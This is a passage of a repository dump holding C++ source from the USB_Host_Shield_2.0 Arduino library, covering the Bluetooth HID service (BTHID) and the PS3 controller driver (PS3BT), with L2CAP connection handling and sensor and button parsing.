if(l2cap_check_flag(L2CAP_FLAG_CONFIG_INTERRUPT_SUCCESS)) { // Now the HID channels is established\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nHID Channels Established\"), 0x80);\n#endif\n                                pBtd->connectToHIDDevice = false;\n                                pBtd->pairWithHIDDevice = false;\n                                connected = true;\n                                onInit();\n                                l2cap_state = L2CAP_DONE;\n                        }\n                        break;\n\n                case L2CAP_DONE:\n                        break;\n\n                case L2CAP_INTERRUPT_DISCONNECT:\n                        if(l2cap_check_flag(L2CAP_FLAG_DISCONNECT_INTERRUPT_RESPONSE)) {\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nDisconnected Interrupt Channel\"), 0x80);\n#endif\n                                identifier++;\n                                pBtd->l2cap_disconnection_request(hci_handle, identifier, control_scid, control_dcid);\n                                l2cap_state = L2CAP_CONTROL_DISCONNECT;\n                        }\n                        break;\n\n                case L2CAP_CONTROL_DISCONNECT:\n                        if(l2cap_check_flag(L2CAP_FLAG_DISCONNECT_CONTROL_RESPONSE)) {\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nDisconnected Control Channel\"), 0x80);\n#endif\n                                pBtd->hci_disconnect(hci_handle);\n                                hci_handle = -1; // Reset handle\n                                l2cap_event_flag = 0; // Reset flags\n                                l2cap_state = L2CAP_WAIT;\n                        }\n                        break;\n        }\n}\n\nvoid BTHID::Run() {\n        switch(l2cap_state) {\n                case L2CAP_WAIT:\n                        if(pBtd->connectToHIDDevice && !pBtd->l2capConnectionClaimed && !connected && !activeConnection) {\n                                pBtd->l2capConnectionClaimed = true;\n                                activeConnection = true;\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nSend HID Control Connection Request\"), 0x80);\n#endif\n                                hci_handle = pBtd->hci_handle; // Store the HCI Handle for the connection\n                                l2cap_event_flag = 0; // Reset flags\n                                identifier = 0;\n                                pBtd->l2cap_connection_request(hci_handle, identifier, control_dcid, HID_CTRL_PSM);\n                                l2cap_state = L2CAP_CONTROL_CONNECT_REQUEST;\n                        } else if(l2cap_check_flag(L2CAP_FLAG_CONNECTION_CONTROL_REQUEST)) {\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nHID Control Incoming Connection Request\"), 0x80);\n#endif\n                                pBtd->l2cap_connection_response(hci_handle, identifier, control_dcid, control_scid, PENDING);\n                                delay(1);\n                                pBtd->l2cap_connection_response(hci_handle, identifier, control_dcid, control_scid, SUCCESSFUL);\n                                identifier++;\n                                delay(1);\n                                pBtd->l2cap_config_request(hci_handle, identifier, control_scid);\n                                l2cap_state = L2CAP_CONTROL_SUCCESS;\n                        }\n                        break;\n        }\n}\n\n/************************************************************/\n/*                    HID Commands                          */\n\n/************************************************************/\nvoid BTHID::setProtocol() {\n#ifdef DEBUG_USB_HOST\n        Notify(PSTR(\"\\r\\nSet protocol mode: \"), 0x80);\n        D_PrintHex<uint8_t > (protocolMode, 0x80);\n#endif\n        if (protocolMode != USB_HID_BOOT_PROTOCOL && protocolMode != HID_RPT_PROTOCOL) {\n#ifdef DEBUG_USB_HOST\n                Notify(PSTR(\"\\r\\nNot a valid protocol mode. Using Boot protocol instead.\"), 0x80);\n#endif\n                protocolMode = USB_HID_BOOT_PROTOCOL; // Use Boot Protocol by default\n        }\n        uint8_t command = 0x70 | protocolMode; // Set Protocol, see Bluetooth HID specs page 33\n        pBtd->L2CAP_Command(hci_handle, &command, 1, control_scid[0], control_scid[1]);\n}\n\nvoid BTHID::setLeds(uint8_t data) {\n        uint8_t buf[3];\n        buf[0] = 0xA2; // HID BT DATA_request (0xA0) | Report Type (Output 0x02)\n        buf[1] = 0x01; // Report ID\n        buf[2] = data;\n        pBtd->L2CAP_Command(hci_handle, buf, 3, interrupt_scid[0], interrupt_scid[1]);\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/BTHID.h",
    "content": "/* Copyright (C) 2013 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and modified under the terms of the GNU\n General Public License version 2 (GPL2) as published by the Free Software\n Foundation and appearing in the file GPL2.TXT included in the packaging of\n this file. Please note that GPL2 Section 2[b] requires that all works based\n on this software must also be made publicly available under the terms of\n the GPL2 (\"Copyleft\").\n\n Contact information\n -------------------\n\n Kristian Lauszus, TKJ Electronics\n Web      :  http://www.tkjelectronics.com\n e-mail   :  kristianl@tkjelectronics.com\n */\n\n#ifndef _bthid_h_\n#define _bthid_h_\n\n#include \"BTD.h\"\n#include \"hidboot.h\"\n\n#define KEYBOARD_PARSER_ID      0\n#define MOUSE_PARSER_ID         1\n#define NUM_PARSERS             2\n\n/** This BluetoothService class implements support for Bluetooth HID devices. */\nclass BTHID : public BluetoothService {\npublic:\n        /**\n         * Constructor for the BTHID class.\n         * @param  p   Pointer to the BTD class instance.\n         * @param  pair   Set this to true in order to pair with the device. If the argument is omitted then it will not pair with it. One can use ::PAIR to set it to true.\n         * @param  pin   Write the pin to BTD#btdPin. If argument is omitted, then \"0000\" will be used.\n         */\n        BTHID(BTD *p, bool pair = false, const char *pin = \"0000\");\n\n        /** @name BluetoothService implementation */\n        /** Used this to disconnect the devices. */\n        void disconnect();\n        /**@}*/\n\n        /**\n         * Get HIDReportParser.\n         * @param  id ID of parser.\n         * @return    Returns the corresponding HIDReportParser. Returns NULL if id is not valid.\n         */\n        HIDReportParser *GetReportParser(uint8_t id) {\n                if (id >= NUM_PARSERS)\n                        return NULL;\n                return pRptParser[id];\n        };\n\n        /**\n         * Set HIDReportParser to be used.\n         * @param  id  Id of parser.\n         * @param  prs Pointer to HIDReportParser.\n         * @return     Returns true if the HIDReportParser is set. False otherwise.\n         */\n        bool SetReportParser(uint8_t id, HIDReportParser *prs) {\n                if (id >= NUM_PARSERS)\n                        return false;\n                pRptParser[id] = prs;\n                return true;\n        };\n\n        /**\n         * Set HID protocol mode.\n         * @param mode HID protocol to use. Either USB_HID_BOOT_PROTOCOL or HID_RPT_PROTOCOL.\n         */\n        void setProtocolMode(uint8_t mode) {\n                protocolMode = mode;\n        };\n\n        /**@{*/\n        /**\n         * Used to set the leds on a keyboard.\n         * @param data See ::KBDLEDS in hidboot.h\n         */\n        void setLeds(struct KBDLEDS data) {\n                setLeds(*((uint8_t*)&data));\n        };\n        void setLeds(uint8_t data);\n        /**@}*/\n\n        /** True if a device is connected */\n        bool connected;\n\n        /** Call this to start the pairing sequence with a device */\n        void pair(void) {\n                if(pBtd)\n                        pBtd->pairWithHID();\n        };\n\nprotected:\n        /** @name BluetoothService implementation */\n        /**\n         * Used to pass acldata to the services.\n         * @param ACLData Incoming acldata.\n         */\n        void ACLData(uint8_t* ACLData);\n        /** Used to run part of the state machine. */\n        void Run();\n        /** Use this to reset the service. */\n        void Reset();\n        /**\n         * Called when a device is successfully initialized.\n         * Use attachOnInit(void (*funcOnInit)(void)) to call your own function.\n         * This is useful for instance if you want to set the LEDs in a specific way.\n         */\n        void onInit() {\n                if(pFuncOnInit)\n                        pFuncOnInit(); // Call the user function\n                OnInitBTHID();\n        };\n        /**@}*/\n\n        /** @name Overridable functions */\n        /**\n         * Used to parse Bluetooth HID data to any class that inherits this class.\n         * @param len The length of the incoming data.\n         * @param buf Pointer to the data buffer.\n         */\n        virtual void ParseBTHIDData(uint8_t len __attribute__((unused)), uint8_t *buf __attribute__((unused))) {\n                return;\n        };\n        /** Called when a device is connected */\n        virtual void OnInitBTHID() {\n                return;\n        };\n        /** Used to reset any buffers in the class that inherits this */\n        virtual void ResetBTHID() {\n                return;\n        }\n        /**@}*/\n\n        /** L2CAP source CID for HID_Control */\n        uint8_t control_scid[2];\n\n        /** L2CAP source CID for HID_Interrupt */\n        uint8_t interrupt_scid[2];\n\nprivate:\n        HIDReportParser *pRptParser[NUM_PARSERS]; // Pointer to HIDReportParsers.\n\n        /** Set report protocol. */\n        void setProtocol();\n        uint8_t protocolMode;\n\n        void L2CAP_task(); // L2CAP state machine\n\n        bool activeConnection; // Used to indicate if it already has established a connection\n\n        /* Variables used for L2CAP communication */\n        uint8_t control_dcid[2]; // L2CAP device CID for HID_Control - Always 0x0070\n        uint8_t interrupt_dcid[2]; // L2CAP device CID for HID_Interrupt - Always 0x0071\n        uint8_t l2cap_state;\n};\n#endif\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/PS3BT.cpp",
    "content": "/* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and modified under the terms of the GNU\n General Public License version 2 (GPL2) as published by the Free Software\n Foundation and appearing in the file GPL2.TXT included in the packaging of\n this file. Please note that GPL2 Section 2[b] requires that all works based\n on this software must also be made publicly available under the terms of\n the GPL2 (\"Copyleft\").\n\n Contact information\n -------------------\n\n Kristian Lauszus, TKJ Electronics\n Web      :  http://www.tkjelectronics.com\n e-mail   :  kristianl@tkjelectronics.com\n */\n\n#include \"PS3BT.h\"\n// To enable serial debugging see \"settings.h\"\n//#define EXTRADEBUG // Uncomment to get even more debugging data\n//#define PRINTREPORT // Uncomment to print the report send by the PS3 Controllers\n\nPS3BT::PS3BT(BTD *p, uint8_t btadr5, uint8_t btadr4, uint8_t btadr3, uint8_t btadr2, uint8_t btadr1, uint8_t btadr0) :\nBluetoothService(p) // Pointer to USB class instance - mandatory\n{\n        pBtd->my_bdaddr[5] = btadr5; // Change to your dongle's Bluetooth address instead\n        pBtd->my_bdaddr[4] = btadr4;\n        pBtd->my_bdaddr[3] = btadr3;\n        pBtd->my_bdaddr[2] = btadr2;\n        pBtd->my_bdaddr[1] = btadr1;\n        pBtd->my_bdaddr[0] = btadr0;\n\n        HIDBuffer[0] = 0x52; // HID BT Set_report (0x50) | Report Type (Output 0x02)\n        HIDBuffer[1] = 0x01; // Report ID\n\n        // Needed for PS3 Move Controller commands to work via bluetooth\n        HIDMoveBuffer[0] = 0xA2; // HID BT DATA_request (0xA0) | Report Type (Output 0x02)\n        HIDMoveBuffer[1] = 0x02; // Report ID\n\n        /* Set device cid for the control and intterrupt channelse - LSB */\n        control_dcid[0] = 0x40; // 0x0040\n        control_dcid[1] = 0x00;\n        interrupt_dcid[0] = 0x41; // 0x0041\n        interrupt_dcid[1] = 0x00;\n\n        Reset();\n}\n\nbool PS3BT::getButtonPress(ButtonEnum b) {\n        return (ButtonState & pgm_read_dword(&PS3_BUTTONS[(uint8_t)b]));\n}\n\nbool PS3BT::getButtonClick(ButtonEnum b) {\n        uint32_t button = pgm_read_dword(&PS3_BUTTONS[(uint8_t)b]);\n        bool click = (ButtonClickState & button);\n        ButtonClickState &= ~button; // Clear \"click\" event\n        return click;\n}\n\nuint8_t PS3BT::getAnalogButton(ButtonEnum a) {\n        return (uint8_t)(l2capinbuf[pgm_read_byte(&PS3_ANALOG_BUTTONS[(uint8_t)a])]);\n}\n\nuint8_t PS3BT::getAnalogHat(AnalogHatEnum a) {\n        return (uint8_t)(l2capinbuf[(uint8_t)a + 15]);\n}\n\nint16_t PS3BT::getSensor(SensorEnum a) {\n        if(PS3Connected) {\n                if(a == aX || a == aY || a == aZ || a == gZ)\n                        return ((l2capinbuf[(uint16_t)a] << 8) | l2capinbuf[(uint16_t)a + 1]);\n                else\n                        return 0;\n        } else if(PS3MoveConnected) {\n                if(a == mXmove || a == mYmove) // These are all 12-bits long\n                        return (((l2capinbuf[(uint16_t)a] & 0x0F) << 8) | (l2capinbuf[(uint16_t)a + 1]));\n                else if(a == mZmove || a == tempMove) // The tempearature is also 12 bits long\n                        return ((l2capinbuf[(uint16_t)a] << 4) | ((l2capinbuf[(uint16_t)a + 1] & 0xF0) >> 4));\n                else // aXmove, aYmove, aZmove, gXmove, gYmove and gZmove\n                        return (l2capinbuf[(uint16_t)a] | (l2capinbuf[(uint16_t)a + 1] << 8));\n        } else\n                return 0;\n}\n\nfloat PS3BT::getAngle(AngleEnum a) {\n        float accXval, accYval, accZval;\n\n        if(PS3Connected) {\n                // Data for the Kionix KXPC4 used in the DualShock 3\n                const float zeroG = 511.5f; // 1.65/3.3*1023 (1.65V)\n                accXval = -((float)getSensor(aX) - zeroG);\n                accYval = -((float)getSensor(aY) - zeroG);\n                accZval = -((float)getSensor(aZ) - zeroG);\n        } else if(PS3MoveConnected) {\n                // It's a Kionix KXSC4 inside the Motion controller\n                const uint16_t zeroG = 0x8000;\n                accXval = -(int16_t)(getSensor(aXmove) - zeroG);\n                accYval = (int16_t)(getSensor(aYmove) - zeroG);\n                accZval = (int16_t)(getSensor(aZmove) - zeroG);\n        } else\n                return 0;\n\n        // Convert to 360 degrees resolution\n        // atan2 outputs the value of -π to π (radians)\n        // We are then converting it to 0 to 2π and then to degrees\n        if(a == Pitch)\n                return (atan2f(accYval, accZval) + PI) * RAD_TO_DEG;\n        else\n                return (atan2f(accXval, accZval) + PI) * RAD_TO_DEG;\n}\n\nfloat PS3BT::get9DOFValues(SensorEnum a) { // Thanks to Manfred Piendl\n        if(!PS3MoveConnected)\n                return 0;\n        int16_t value = getSensor(a);\n        if(a == mXmove || a == mYmove || a == mZmove) {\n                if(value > 2047)\n                        value -= 0x1000;\n                return (float)value / 3.2f; // unit: muT = 10^(-6) Tesla\n        } else if(a == aXmove || a == aYmove || a == aZmove) {\n                if(value < 0)\n                        value += 0x8000;\n                else\n                        value -= 0x8000;\n                return (float)value / 442.0f; // unit: m/(s^2)\n        } else if(a == gXmove || a == gYmove || a == gZmove) {\n                if(value < 0)\n                        value += 0x8000;\n                else\n                        value -= 0x8000;\n                if(a == gXmove)\n                        return (float)value / 11.6f; // unit: deg/s\n                else if(a == gYmove)\n                        return (float)value / 11.2f; // unit: deg/s\n                else // gZmove\n                        return (float)value / 9.6f; // unit: deg/s\n        } else\n                return 0;\n}\n\nString PS3BT::getTemperature() {\n        if(PS3MoveConnected) {\n                int16_t input = getSensor(tempMove);\n\n                String output = String(input / 100);\n                output += \".\";\n                if(input % 100 < 10)\n                        output += \"0\";\n                output += String(input % 100);\n\n                return output;\n        } else\n                return \"Error\";\n}\n\nbool PS3BT::getStatus(StatusEnum c) {\n        return (l2capinbuf[(uint16_t)c >> 8] == ((uint8_t)c & 0xff));\n}\n\nvoid PS3BT::printStatusString() {\n        char statusOutput[102]; // Max string length plus null character\n        if(PS3Connected || PS3NavigationConnected) {\n                strcpy_P(statusOutput, PSTR(\"\\r\\nConnectionStatus: \"));\n\n                if(getStatus(Plugged)) strcat_P(statusOutput, PSTR(\"Plugged\"));\n                else if(getStatus(Unplugged)) strcat_P(statusOutput, PSTR(\"Unplugged\"));\n                else strcat_P(statusOutput, PSTR(\"Error\"));\n\n                strcat_P(statusOutput, PSTR(\" - PowerRating: \"));\n\n                if(getStatus(Charging)) strcat_P(statusOutput, PSTR(\"Charging\"));\n                else if(getStatus(NotCharging)) strcat_P(statusOutput, PSTR(\"Not Charging\"));\n                else if(getStatus(Shutdown)) strcat_P(statusOutput, PSTR(\"Shutdown\"));\n                else if(getStatus(Dying)) strcat_P(statusOutput, PSTR(\"Dying\"));\n                else if(getStatus(Low)) strcat_P(statusOutput, PSTR(\"Low\"));\n                else if(getStatus(High)) strcat_P(statusOutput, PSTR(\"High\"));\n                else if(getStatus(Full)) strcat_P(statusOutput, PSTR(\"Full\"));\n                else strcat_P(statusOutput, PSTR(\"Error\"));\n\n                strcat_P(statusOutput, PSTR(\" - WirelessStatus: \"));\n\n                if(getStatus(CableRumble)) strcat_P(statusOutput, PSTR(\"Cable - Rumble is on\"));\n                else if(getStatus(Cable)) strcat_P(statusOutput, PSTR(\"Cable - Rumble is off\"));\n                else if(getStatus(BluetoothRumble)) strcat_P(statusOutput, PSTR(\"Bluetooth - Rumble is on\"));\n                else if(getStatus(Bluetooth)) strcat_P(statusOutput, PSTR(\"Bluetooth - Rumble is off\"));\n                else strcat_P(statusOutput, PSTR(\"Error\"));\n        } else if(PS3MoveConnected) {\n                strcpy_P(statusOutput, PSTR(\"\\r\\nPowerRating: \"));\n\n                if(getStatus(MoveCharging)) strcat_P(statusOutput, PSTR(\"Charging\"));\n                else if(getStatus(MoveNotCharging)) strcat_P(statusOutput, PSTR(\"Not Charging\"));\n                else if(getStatus(MoveShutdown)) strcat_P(statusOutput, PSTR(\"Shutdown\"));\n                else if(getStatus(MoveDying)) strcat_P(statusOutput, PSTR(\"Dying\"));\n                else if(getStatus(MoveLow)) strcat_P(statusOutput, PSTR(\"Low\"));\n                else if(getStatus(MoveHigh)) strcat_P(statusOutput, PSTR(\"High\"));\n                else if(getStatus(MoveFull)) strcat_P(statusOutput, PSTR(\"Full\"));\n                else strcat_P(statusOutput, PSTR(\"Error\"));\n        } else\n                strcpy_P(statusOutput, PSTR(\"\\r\\nError\"));\n\n        USB_HOST_SERIAL.write(statusOutput);\n}\n\nvoid PS3BT::Reset() {\n        PS3Connected = false;\n        PS3MoveConnected = false;\n        PS3NavigationConnected = false;\n        activeConnection = false;\n        l2cap_event_flag = 0; // Reset flags\n        l2cap_state = L2CAP_WAIT;\n\n        // Needed for PS3 Dualshock Controller commands to work via Bluetooth\n        for(uint8_t i = 0; i < PS3_REPORT_BUFFER_SIZE; i++)\n                HIDBuffer[i + 2] = pgm_read_byte(&PS3_REPORT_BUFFER[i]); // First two bytes reserved for report type and ID\n}\n\nvoid PS3BT::disconnect() { // Use this void to disconnect any of the controllers\n        // First the HID interrupt channel has to be disconnected, then the HID control channel and finally the HCI connection\n        pBtd->l2cap_disconnection_request(hci_handle, ++identifier, interrupt_scid, interrupt_dcid);\n        Reset();\n        l2cap_state = L2CAP_INTERRUPT_DISCONNECT;\n}\n\nvoid PS3BT::ACLData(uint8_t* ACLData) {\n        if(!pBtd->l2capConnectionClaimed && !PS3Connected && !PS3MoveConnected && !PS3NavigationConnected && !activeConnection && !pBtd->connectToWii && !pBtd->incomingWii && !pBtd->pairWithWii) {\n                if(ACLData[8] == L2CAP_CMD_CONNECTION_REQUEST) {\n                        if((ACLData[12] | (ACLData[13] << 8)) == HID_CTRL_PSM) {\n                                pBtd->l2capConnectionClaimed = true; // Claim that the incoming connection belongs to this service\n                                activeConnection = true;\n                                hci_handle = pBtd->hci_handle; // Store the HCI Handle for the connection\n                                l2cap_state = L2CAP_WAIT;\n                                remote_name_first = pBtd->remote_name[0]; // Store the first letter in remote name for the connection\n#ifdef DEBUG_USB_HOST\n                                if(pBtd->hci_version < 3) { // Check the HCI Version of the Bluetooth dongle\n                                        Notify(PSTR(\"\\r\\nYour dongle may not support reading the analog buttons, sensors and status\\r\\nYour HCI Version is: \"), 0x80);\n                                        Notify(pBtd->hci_version, 0x80);\n                                        Notify(PSTR(\"\\r\\nBut should be at least 3\\r\\nThis means that it doesn't support Bluetooth Version 2.0+EDR\"), 0x80);\n                                }\n#endif\n                        }\n                }\n        }\n\n        if(checkHciHandle(ACLData, hci_handle)) { // acl_handle_ok\n                memcpy(l2capinbuf, ACLData, BULK_MAXPKTSIZE);\n                if((l2capinbuf[6] | (l2capinbuf[7] << 8)) == 0x0001U) { // l2cap_control - Channel ID for ACL-U\n                        if(l2capinbuf[8] == L2CAP_CMD_COMMAND_REJECT) {\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nL2CAP Command Rejected - Reason: \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[13], 0x80);\n                                Notify(PSTR(\" \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[12], 0x80);\n                                Notify(PSTR(\" Data: \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[17], 0x80);\n                                Notify(PSTR(\" \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[16], 0x80);\n                                Notify(PSTR(\" \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[15], 0x80);\n                                Notify(PSTR(\" \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[14], 0x80);\n#endif\n                        } else if(l2capinbuf[8] == L2CAP_CMD_CONNECTION_REQUEST) {\n#ifdef EXTRADEBUG\n                                Notify(PSTR(\"\\r\\nL2CAP Connection Request - PSM: \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[13], 0x80);\n                                Notify(PSTR(\" \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[12], 0x80);\n                                Notify(PSTR(\" SCID: \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[15], 0x80);\n                                Notify(PSTR(\" \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[14], 0x80);\n                                Notify(PSTR(\" Identifier: \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[9], 0x80);\n#endif\n                                if((l2capinbuf[12] | (l2capinbuf[13] << 8)) == HID_CTRL_PSM) {\n                                        identifier = l2capinbuf[9];\n                                        control_scid[0] = l2capinbuf[14];\n                                        control_scid[1] = l2capinbuf[15];\n                                        l2cap_set_flag(L2CAP_FLAG_CONNECTION_CONTROL_REQUEST);\n                                } else if((l2capinbuf[12] | (l2capinbuf[13] << 8)) == HID_INTR_PSM) {\n                                        identifier = l2capinbuf[9];\n                                        interrupt_scid[0] = l2capinbuf[14];\n                                        interrupt_scid[1] = l2capinbuf[15];\n                                        l2cap_set_flag(L2CAP_FLAG_CONNECTION_INTERRUPT_REQUEST);\n                                }\n                        } else if(l2capinbuf[8] == L2CAP_CMD_CONFIG_RESPONSE) {\n                                if((l2capinbuf[16] | (l2capinbuf[17] << 8)) == 0x0000) { // Success\n                                        if(l2capinbuf[12] == control_dcid[0] && l2capinbuf[13] == control_dcid[1]) {\n                                                //Notify(PSTR(\"\\r\\nHID Control Configuration Complete\"), 0x80);\n                                                l2cap_set_flag(L2CAP_FLAG_CONFIG_CONTROL_SUCCESS);\n                                        } else if(l2capinbuf[12] == interrupt_dcid[0] && l2capinbuf[13] == interrupt_dcid[1]) {\n                                                //Notify(PSTR(\"\\r\\nHID Interrupt Configuration Complete\"), 0x80);\n                                                l2cap_set_flag(L2CAP_FLAG_CONFIG_INTERRUPT_SUCCESS);\n                                        }\n                                }\n                        } else if(l2capinbuf[8] == L2CAP_CMD_CONFIG_REQUEST) {\n                                if(l2capinbuf[12] == control_dcid[0] && l2capinbuf[13] == control_dcid[1]) {\n                                        //Notify(PSTR(\"\\r\\nHID Control Configuration Request\"), 0x80);\n                                        pBtd->l2cap_config_response(hci_handle, l2capinbuf[9], control_scid);\n                                } else if(l2capinbuf[12] == interrupt_dcid[0] && l2capinbuf[13] == interrupt_dcid[1]) {\n                                        //Notify(PSTR(\"\\r\\nHID Interrupt Configuration Request\"), 0x80);\n                                        pBtd->l2cap_config_response(hci_handle, l2capinbuf[9], interrupt_scid);\n                                }\n                        } else if(l2capinbuf[8] == L2CAP_CMD_DISCONNECT_REQUEST) {\n                                if(l2capinbuf[12] == control_dcid[0] && l2capinbuf[13] == control_dcid[1]) {\n#ifdef DEBUG_USB_HOST\n                                        Notify(PSTR(\"\\r\\nDisconnect Request: Control Channel\"), 0x80);\n#endif\n                                        identifier = l2capinbuf[9];\n                                        pBtd->l2cap_disconnection_response(hci_handle, identifier, control_dcid, control_scid);\n                                        Reset();\n                                } else if(l2capinbuf[12] == interrupt_dcid[0] && l2capinbuf[13] == interrupt_dcid[1]) {\n#ifdef DEBUG_USB_HOST\n                                        Notify(PSTR(\"\\r\\nDisconnect Request: Interrupt Channel\"), 0x80);\n#endif\n                                        identifier = l2capinbuf[9];\n                                        pBtd->l2cap_disconnection_response(hci_handle, identifier, interrupt_dcid, interrupt_scid);\n                                        Reset();\n                                }\n                        } else if(l2capinbuf[8] == L2CAP_CMD_DISCONNECT_RESPONSE) {\n                                if(l2capinbuf[12] == control_scid[0] && l2capinbuf[13] == control_scid[1]) {\n                                        //Notify(PSTR(\"\\r\\nDisconnect Response: Control Channel\"), 0x80);\n                                        identifier = l2capinbuf[9];\n                                        l2cap_set_flag(L2CAP_FLAG_DISCONNECT_CONTROL_RESPONSE);\n                                } else if(l2capinbuf[12] == interrupt_scid[0] && l2capinbuf[13] == interrupt_scid[1]) {\n                                        //Notify(PSTR(\"\\r\\nDisconnect Response: Interrupt Channel\"), 0x80);\n                                        identifier = l2capinbuf[9];\n                                        l2cap_set_flag(L2CAP_FLAG_DISCONNECT_INTERRUPT_RESPONSE);\n                                }\n                        }\n#ifdef EXTRADEBUG\n                        else {\n                                Notify(PSTR(\"\\r\\nL2CAP Unknown Signaling Command: \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[8], 0x80);\n                        }\n#endif\n                } else if(l2capinbuf[6] == interrupt_dcid[0] && l2capinbuf[7] == interrupt_dcid[1]) { // l2cap_interrupt\n                        //Notify(PSTR(\"\\r\\nL2CAP Interrupt\"), 0x80);\n                        if(PS3Connected || PS3MoveConnected || PS3NavigationConnected) {\n                                /* Read Report */\n                                if(l2capinbuf[8] == 0xA1) { // HID_THDR_DATA_INPUT\n                                        lastMessageTime = (uint32_t)millis(); // Store the last message time\n\n                                        if(PS3Connected || PS3NavigationConnected)\n                                                ButtonState = (uint32_t)(l2capinbuf[11] | ((uint16_t)l2capinbuf[12] << 8) | ((uint32_t)l2capinbuf[13] << 16));\n                                        else if(PS3MoveConnected)\n                                                ButtonState = (uint32_t)(l2capinbuf[10] | ((uint16_t)l2capinbuf[11] << 8) | ((uint32_t)l2capinbuf[12] << 16));\n\n                                        //Notify(PSTR(\"\\r\\nButtonState\", 0x80);\n                                        //PrintHex<uint32_t>(ButtonState, 0x80);\n\n                                        if(ButtonState != OldButtonState) {\n                                                ButtonClickState = ButtonState & ~OldButtonState; // Update click state variable\n                                                OldButtonState = ButtonState;\n                                        }\n\n#ifdef PRINTREPORT // Uncomment \"#define PRINTREPORT\" to print the report send by the PS3 Controllers\n                                        for(uint8_t i = 10; i < 58; i++) {\n                                                D_PrintHex<uint8_t > (l2capinbuf[i], 0x80);\n                                                Notify(PSTR(\" \"), 0x80);\n                                        }\n                                        Notify(PSTR(\"\\r\\n\"), 0x80);\n#endif\n                                }\n                        }\n                }\n                L2CAP_task();\n        }\n}\n\nvoid PS3BT::L2CAP_task() {\n        switch(l2cap_state) {\n                case L2CAP_WAIT:\n                        if(l2cap_check_flag(L2CAP_FLAG_CONNECTION_CONTROL_REQUEST)) {\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nHID Control Incoming Connection Request\"), 0x80);\n#endif\n                                pBtd->l2cap_connection_response(hci_handle, identifier, control_dcid, control_scid, PENDING);\n                                delay(1);\n                                pBtd->l2cap_connection_response(hci_handle, identifier, control_dcid, control_scid, SUCCESSFUL);\n                                identifier++;\n                                delay(1);\n                                pBtd->l2cap_config_request(hci_handle, identifier, control_scid);\n                                l2cap_state = L2CAP_CONTROL_SUCCESS;\n                        }\n                        break;\n\n                case L2CAP_CONTROL_SUCCESS:\n                        if(l2cap_check_flag(L2CAP_FLAG_CONFIG_CONTROL_SUCCESS)) {\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nHID Control Successfully Configured\"), 0x80);\n#endif\n                                l2cap_state = L2CAP_INTERRUPT_SETUP;\n                        }\n                        break;\n\n                case L2CAP_INTERRUPT_SETUP:\n                        if(l2cap_check_flag(L2CAP_FLAG_CONNECTION_INTERRUPT_REQUEST)) {\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nHID Interrupt Incoming Connection Request\"), 0x80);\n#endif\n                                pBtd->l2cap_connection_response(hci_handle, identifier, interrupt_dcid, interrupt_scid, PENDING);\n                                delay(1);\n                                pBtd->l2cap_connection_response(hci_handle, identifier, interrupt_dcid, interrupt_scid, SUCCESSFUL);\n                                identifier++;\n                                delay(1);\n                                pBtd->l2cap_config_request(hci_handle, identifier, interrupt_scid);\n\n                                l2cap_state = L2CAP_INTERRUPT_CONFIG_REQUEST;\n                        }\n                        break;\n\n                case L2CAP_INTERRUPT_CONFIG_REQUEST:\n                        if(l2cap_check_flag(L2CAP_FLAG_CONFIG_INTERRUPT_SUCCESS)) { // Now the HID channels is established\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nHID Interrupt Successfully Configured\"), 0x80);\n#endif\n                                if(remote_name_first == 'M') { // First letter in Motion Controller ('M')\n                                        memset(l2capinbuf, 0, BULK_MAXPKTSIZE); // Reset l2cap in buffer as it sometimes read it as a button has been pressed\n                                        l2cap_state = TURN_ON_LED;\n                                } else\n                                        l2cap_state = PS3_ENABLE_SIXAXIS;\n                                timer = (uint32_t)millis();\n                        }\n                        break;\n\n                        /* These states are handled in Run() */\n\n                case L2CAP_INTERRUPT_DISCONNECT:\n                        if(l2cap_check_flag(L2CAP_FLAG_DISCONNECT_INTERRUPT_RESPONSE)) {\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nDisconnected Interrupt Channel\"), 0x80);\n#endif\n                                identifier++;\n                                pBtd->l2cap_disconnection_request(hci_handle, identifier, control_scid, control_dcid);\n                                l2cap_state = L2CAP_CONTROL_DISCONNECT;\n                        }\n                        break;\n\n                case L2CAP_CONTROL_DISCONNECT:\n                        if(l2cap_check_flag(L2CAP_FLAG_DISCONNECT_CONTROL_RESPONSE)) {\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nDisconnected Control Channel\"), 0x80);\n#endif\n                                pBtd->hci_disconnect(hci_handle);\n                                hci_handle = -1; // Reset handle\n                                l2cap_event_flag = 0; // Reset flags\n                                l2cap_state = L2CAP_WAIT;\n                        }\n                        break;\n        }\n}\n\nvoid PS3BT::Run() {\n        switch(l2cap_state) {\n                case PS3_ENABLE_SIXAXIS:\n                        if((int32_t)((uint32_t)millis() - timer) > 1000) { // loop 1 second before sending the command\n                                memset(l2capinbuf, 0, 